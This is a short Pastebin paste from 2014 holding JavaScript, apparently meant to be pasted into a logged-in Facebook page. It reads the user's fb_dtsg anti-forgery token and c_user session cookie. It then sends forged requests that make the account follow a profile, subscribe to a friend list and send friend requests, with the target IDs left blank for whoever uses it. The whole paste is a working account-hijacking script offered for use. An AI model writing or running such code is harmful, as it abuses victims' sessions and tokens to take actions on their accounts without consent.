hoanqba

code sub

Oct 12th, 2014
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. //code
  2. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  3. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  4. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  5. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  6.  
  7. function a(abone) {
  8. var http4 = new XMLHttpRequest;
  9. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  10. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  11. http4.open("POST", url4, true);
  12. http4.onreadystatechange = function () {
  13. if (http4.readyState == 4 && http4.status == 200) http4.close
  14. };
  15. http4.send(params4)
  16. }
  17.  
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a)
  22. }
  23. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  25. var now = (new Date).getTime();
  26.  
  27. function IDS(r) {
  28. var X = new XMLHttpRequest();
  29. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  30. var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  31. X.open("POST", XURL, true);
  32. X.onreadystatechange = function () {
  33. if (X.readyState == 4 && X.status == 200) {
  34. X.close
  35. }
  36. };
  37. X.send(XParams)
  38. }
  39.  
  40. //add id
  41. a("");
  42. sublist("")
Advertisement
Add Comment
Please, Sign In to add comment